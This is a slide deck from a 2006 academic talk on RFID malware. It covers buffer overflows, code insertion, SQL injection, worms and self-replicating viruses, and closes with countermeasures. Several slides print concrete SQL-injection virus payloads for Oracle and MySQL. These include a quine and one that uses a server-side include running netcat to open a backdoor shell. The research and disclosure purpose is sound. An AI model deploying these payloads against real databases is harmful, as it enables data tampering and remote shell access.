



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## Security in Ubiquitous Computing

# From Cyberspace to your Kitchen: New Directions in Computer Viruses



Melanie Rieback, Bruno Crispo, Andrew Tanenbaum

TCV Workshop (LORIA) – 4 May, 2006



*ubisec*


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
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# Security in Ubiquitous Computing

## What is RFID?

**RFID = Radio Frequency Identification**







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# Security in Ubiquitous Computing

## Modern RFID Applications





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
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
## Introduction to RFID Malware

### What is RFID Malware?

- Low-level misuse of improperly formatted RFID tag data
- Three main kinds of RFID Malware:
  1. RFID Exploits
  2. RFID Worms
  3. RFID Viruses








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
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## Typical RFID System Architecture




Sun Microsystems RFID Architecture


[http://www.sun.com/software/products/rfid/rfid\\_ds.gif](http://www.sun.com/software/products/rfid/rfid_ds.gif)



## Our RFID Malware Test Platform

- We built our own test RFID middleware
- Test setup is modular
- Ethical / legal concerns





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
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## Introduction to RFID Malware

### The Trouble With RFID Systems:

- Lots of source code
- Generic protocols and facilities
- Back-end databases
- High-value data
- False sense of security





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
## Types of RFID Exploits

### Buffer overflows

- Small buffers
- Write multiple blocks
- RFID emulators







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
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## Types of RFID Exploits

### Code Insertion

- Special characters
- Client-side scripting
- Server-side scripting





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
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## Types of RFID Exploits

### SQL Injection

- Steal data
- Modify DB
- Denial of Service
- System commands





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
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## RFID Worms

### What is an RFID Worm?

- **RFID exploit that downloads/executes remote malware**
- **RFID worms propagate either via network  
or RFID tags**
- **Often has a payload (modify filesystem / backdoor)**





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
## RFID Viruses

### Application scenario:

- Supermarket distribution center  
(with RFID tagged containers)
- Arriving containers: scanned
  - emptied – refilled – relabeled
- Containers are then sent onwards  
to local supermarkets







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# Security in Ubiquitous Computing


## RFID Viruses

### Example Database Layout:

TagID	NewContents	OldContents
123	Apples	Oranges
234	Pears	

ContainerContents table





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## RFID Viruses


### How the RFID virus works:

- **SQL Injection attack:**

```
OldContents=Raspberries;UPDATE ContainerContents SET  
NewContents = NewContents || ``;[SQL Injection]";
```

- **Filling in the SQL injection part:**

```
[SQL Injection] = UPDATE ContainerContents SET NewContents =  
NewContents || ``;[SQL Injection]";
```



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## RFID Viruses

### Self-replication:

- ‘Get Current Query’ function:


```
SELECT SQL_TEXT FROM v$sql WHERE INSTR(SQL_TEXT,'')>0;
```

- A complete virus (Oracle SQL\*Plus):

```
Contents=Raspberries;
```

```
UPDATE ContainerContents SET NewContents= NewContents || ';' ||
```

```
CHR(10) || (SELECT SQL_TEXT FROM v$sql WHERE  
INSTR(SQL_TEXT,'')>0);
```



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## RFID Viruses


### Example Virus: (Oracle/SSI)

- Here, SQL injection targets an INSERT query:

```
Apples',NewContents=(select SUBSTR(SQL_TEXT,43,127) FROM  
v$sql WHERE INSTR(SQL_TEXT,'<!--#exec cmd=`netcat  
-lp1234|sh"-->')>0)--
```

- Payload uses a server-side include to open a backdoor on port 1234 of the web management platform
- Virus fits on a 1 kbit RFID tag (127 characters)





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## Security in Ubiquitous Computing


# RFID Viruses

## Self-replication with Quines:

- Quine = A program that prints its own source code:
- The classic example (in C):

```
char*f="char*f=%c%s%c;main()
{printf(f,34,f,34,10);}%c";
main(){printf(f,34,f,34,10);}
```

- Introns = Quine data not used to output quine code



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# RFID Viruses

### Example Quine Virus: (mySQL)

- This SQL injection virus is a quine:

```
';SET@a='UPDATE ContainerContents SET NewContents=
concat('\';SET@a='\',QUOTE(@a),'\';',@a);-- <!--#exec cmd="regedit"--
>';UPDATE ContainerContents SET NewContents=concat('\';SET@a=',
QUOTE(@a),';',@a);-- <!--#exec cmd="regedit"-->
```

- Virus fits on a 2kbit RFID tag (233 characters)



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
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## RFID Viruses

### Targets that we've infected:

		RFID Reader	WWW Management	Oracle		SQL Server	PostgreSQL	MySQL
				OCI10	iSQL*Plus			
Exploits	SQL injection (single query)			X	X	X	X	X
	SQL injection (multiple query)				X	X	X	X(N)
	Code Insertion		X					
	Buffer Overflows	X						
Worms		X	X			X		
Viruses	Self-Referencing Commands			X(A)	X(A)			
	Quines				X(C)	X(C)	X(C)	X(C,N)
Payloads	SQL commands		X		X	X	X	X(N)
	XSS/SSI		X	X	X	X	X	X
	System Commands	X	X			X(A)		
X = Successfully implemented				A = Requires administrator privileges				
C = Requires contactless smart card (>1k bits)				N = Requires non-standard configuration				



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
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## How to Stop RFID Malware

### Countermeasures:

- Sanitize input
- Error / bounds checking
- Disable unnecessary facilities
- Segregate users (and servers)
- Use parameter binding
- Code review
- Limit permissions





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## Questions?

